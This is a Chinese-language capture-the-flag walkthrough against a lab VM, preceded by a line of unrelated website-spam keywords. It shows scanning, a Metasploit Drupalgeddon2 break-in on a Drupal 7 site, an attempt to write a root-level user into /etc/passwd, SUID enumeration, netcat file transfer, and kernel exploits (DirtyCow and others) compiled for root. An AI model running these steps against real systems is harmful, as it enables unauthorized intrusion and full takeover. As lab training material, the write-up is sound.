北京市住房和城乡建设部网站官网,北京自助模板建站,管庄地区网站建设,广州网站建设 中网科技提示#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息… 提示本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息枚举5.2 探查/etc/passwd5.3 枚举定时任务5.4 枚举可执行程序5.4.1 ping65.4.2 chfn5.4.3 pkexec5.4.4 mtr5.4.5 pppd5.5 EXP提权5.5.1 CVE-2017-169955.5.2 CVE-2017-10001125.5.3 CVE-2016-86555.5.4 CVE-2016-5195 dirtycow5.5.5 CVE-2016-5195 dirtycow26. 获取flag1. 主机发现
目前只知道目标靶机在65.xx网段通过如下的命令看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24锁定靶机地址为192.168.65.148。
2. 端口扫描
通过下面的命令对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.65.1483. 服务枚举
通过下面的命令枚举一下目标靶机的开放端口上运行着什么服务。
$ sudo nmap -p22,80,1898 -A -sV -sT 192.168.65.148额80端口上的服务没有没举出来估计得等会儿手工探查了。
4. 服务探查
4.1 80端口探查
直接用浏览器访问一下看看。 额靶机挺会玩儿的目录枚举一下看看。
$ dirsearch -u http://192.168.65.148结果有点令人失望啥都没扫出来。
4.2 1898端口探查
既然1898端口上也是http的服务通过浏览器访问一下看看。 页面中有登录入口、创建账号和密码的入口看来这里面可能有我们需要的内容先看一下有没有站点地图。 内容还挺多的再进行一下目录枚举。
$ dirsearch -u http://192.168.65.148:1898都枚举出来了我们逐个看看。 从“/MAINTAINERS.txt”页面我们可以知道这里用的是一个名叫Drupal 7的框架。 上网搜索一下看看这个drupal是个啥。 上图是百度百科的内容貌似是一个开源的优秀的内容管理框架继续往下看。从“INSTALL.txt”页面可以看到Drupal框架会用到Apache 2.0或者以上、PHP 5.2.4或者以上以及数据库Mysql 5.0.15及以上、MariaDB 5.1.44及以上Percona 5.1.70及以上、pgSQL 8.3及以上SQLite 3.3.7及以上如下图。 继续探查从“CHANGELOG.txt”页面可以推断当前的Drupal版本应该是7.54。 继续往下看scripts目录下有好多的shell脚本说不定后面我们可以用得到尤其是一个对密码进行hash的脚本。 目前就搜罗到了这么多信息接下来我们尝试一下登录入口和创建账号密码的入口。 随便输入用户名密码进行登录看看报什么错。 用户枚举猜测是不太好办看看下面的创建账号。 点击上图中的Create new account按钮之后会弹出下图所示的提示。 不管了发送邮件不成功是正常的看看下面的request new password能不能有用。 嗯这个也是不管用的。
4.3 EXP搜索
搜索一下看看有没有关于Drupal的公共EXP。 内容还真是不少并且还有很多都是关于Metasploit的鉴于Metasploit的神奇之处我们先用Metasploit搜索一下看看。
msf6 search drupal也不是很多逐个试试吧。
4.3.1 exploit/unix/webapp/drupal_coder_exec
msf6 use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) set RHOSTS 192.168.65.148
msf6 exploit(unix/webapp/drupal_coder_exec) set RPORT 1898
msf6 exploit(unix/webapp/drupal_coder_exec) run运行失败了。
4.3.2 exploit/unix/webapp/drupal_drupalgeddon2
msf6 use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) set RHOSTS 192.168.65.148
msf6 exploit(unix/webapp/drupal_drupalgeddon2) set RPORT 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) run感觉这个是靠谱的进一步验证一下。 嗯我们已经成功突破边界。
5. 提权
先优化一下shell形成习惯了不管行不行先执行一下优化再说。
$ whereis python
$ /usr/bin/python3.4 -c import pty;pty.spawn(/bin/bash)5.1 系统信息枚举
$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT目标靶机是32位的Ubuntu 14.04.5kernel版本是4.4.0-32-generic。
5.2 探查/etc/passwd
$ cat /etc/passwd | grep -v nologin除了root之外真正具备shell权限的还有个tiago用户。尝试一下弱密码提权。 尝试往/etc/passwd中写入用户看看。
$ echo testuser:$1$IbaVSVwa$v6h3hVYDvjI.y0q2Kq0fg.:0:0:root:/root:/bin/bash /etc/passwd没权限。
5.3 枚举定时任务
$ cat /etc/crontab5.4 枚举可执行程序
先枚举一下root用户下面其它用户客户可写的文件。
$ find / -type f -user root -perm -ow 2/dev/null | grep -v /sys/ | grep -v /proc/就搜出来了一个隐藏文件.lock看看这是个啥文件。 竟然是空的没有理想的结果再看看具备SUID的可执行文件下面命令三选一。
$ find / -user root -perm -4000 -print 2/dev/null
$ find / -perm -us -type f 2/dev/null
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2/dev/null上图中的几个程序都值得怀疑试试看吧。
5.4.1 ping6
从搜索结果来看ping6不太可能提权。
5.4.2 chfn 这个倒是有一定的可能性我们看一下代码。 貌似只在SuSE上可行不管了既然都到这里了上传到目标靶机上执行一下看看。 嗯这个靶机做了特殊限制没法直接通过wget下载我们通过nc传输一下。 靶机上启动6666端口监听将收到的内容放到1299.sh文件。
www-datalampiao:/tmp$ nc -nlvp 6666 1299.shkali上通过kali往靶机的6666端口发送1299.sh文件
$ nc -nv 192.168.65.148 6666 1299.sh然后在靶机上修改一下执行权限并运行一下。 理论上这个脚本应该是可以提权的可惜的是在这里没法使用因为需要当前用户的密码等我们拿到当前用户密码的时候再回来试试看。
5.4.3 pkexec
这个pkexec是我们的老朋友了先看一下靶机上的polkit版本。
www-datalampiao:/tmp$ dpkg -l policykit-1在通过searchsploit搜索一下看看。
后面两个EXP是有可能的一个得通过Metasploit另一个是一个静态条件的提权我们先进入msfconsle搜索一下看看。 就这三个都试一下吧。
msf6 use exploit/linux/local/pkexec
msf6 exploit(linux/local/pkexec) set LPORT 8888
msf6 exploit(linux/local/pkexec) run是要配置SESSION的但是Metasploit里面也没有说清楚应该怎么配置其它两个也都需要配置SESSION暂时放弃。通过下面的命令将我们前面searchsploit结果中的47543.rb放到指定的metasploit目录下。
$ sudo cp 47543.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp重新进入一下msfconsole。
msf6 use exploit/unix/webapp47543
msf6 exploit(unix/webapp/47543) show options同样需要设置SESSION啊放弃。
5.4.4 mtr 没有我们感兴趣的。
5.4.5 pppd 这个也不合适。
5.5 EXP提权
搜索一下Ubuntu和Kernel的对应EXP。 还是有不少的为了保证准确度我们不急于利用先用linpeas看一下。 linpeas也找到了这个CVE-2022-2588的漏洞前面刚刚用过这里直接试一下。 嗯这个是不能直接运行的直接尝试在本地编译一下。
www-datalampiao:/tmp/CVE-2022-2588$ gcc -o my_exp exp_file_credential.c仍然失败还是再看看其它的linpeas输出吧。 有五个高度可行的CVE漏洞我们逐个试一下。
5.5.1 CVE-2017-16995
直接将45010.c上传到靶机进行编译执行。 在靶机上无论如何编译这个文件bpf.h都饱含不进去放弃。
5.5.2 CVE-2017-1000112
直接吧https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c下载下来上传到靶机进行编译。 会报大量的错误放弃。
5.5.3 CVE-2016-8655
直接把40871.c上传到目标靶机然后编译。
$ gcc -m32 40871.c -o 40871 -lpthread产生了非常多的上述的warning但是编译出可执行文件了执行一下试试看。 执行了好久也没有成功都是些类似上述的输出暂时放弃。
5.5.4 CVE-2016-5195 dirtycow 这个感觉还要sudo -s输入当前用户的密码有些搞不定暂时放弃。
5.5.5 CVE-2016-5195 dirtycow2
直接吧40839.c上传到靶机进行编译。
$ gcc -pthread 40839.c -o 40839 -lcrypt破天荒的没报错直接运行一下看看。 按照exp代码指示进行下一步输入su firefart试试。 感觉像是挂了啊再次尝试进去。 估计是机器挂了ping一下试试看。 果真挂了重启一下靶机再次提权。 又挂了必然挂掉靶机上的最后输出如下图所示。 对于这个dirtycow2还有个编号是40847的EXP我们也用一下试试看先通过nc吧40847.cpp上传到目标靶机的/tmp目录下。然后通过gcc进行编译。
www-datalampiao:/tmp$ g -Wall -pedantic -O2 -stdc11 -pthread -o 40847 40847.cpp -lutil编译成功。 说明这里了说明一下各个参数的含义。 -Wall选项让gcc提供所有有用的告警 -pedantic选项允许发出标准C列出的所有告警 -O2选项是编译器优化选项的4个级别中的一个-O0表示无优化-O1为缺省值-O3优化级别最高 -stdc11选项表示按照2011版C的标准执行编译 -pthread选项表示当用到多线程时调用pthread库。 然后运行一下编译的可执行文件。 直接搞出了root的密码太牛逼了试一下切换到root用户。 貌似搞定了验证一下。
6. 获取flag 搞定。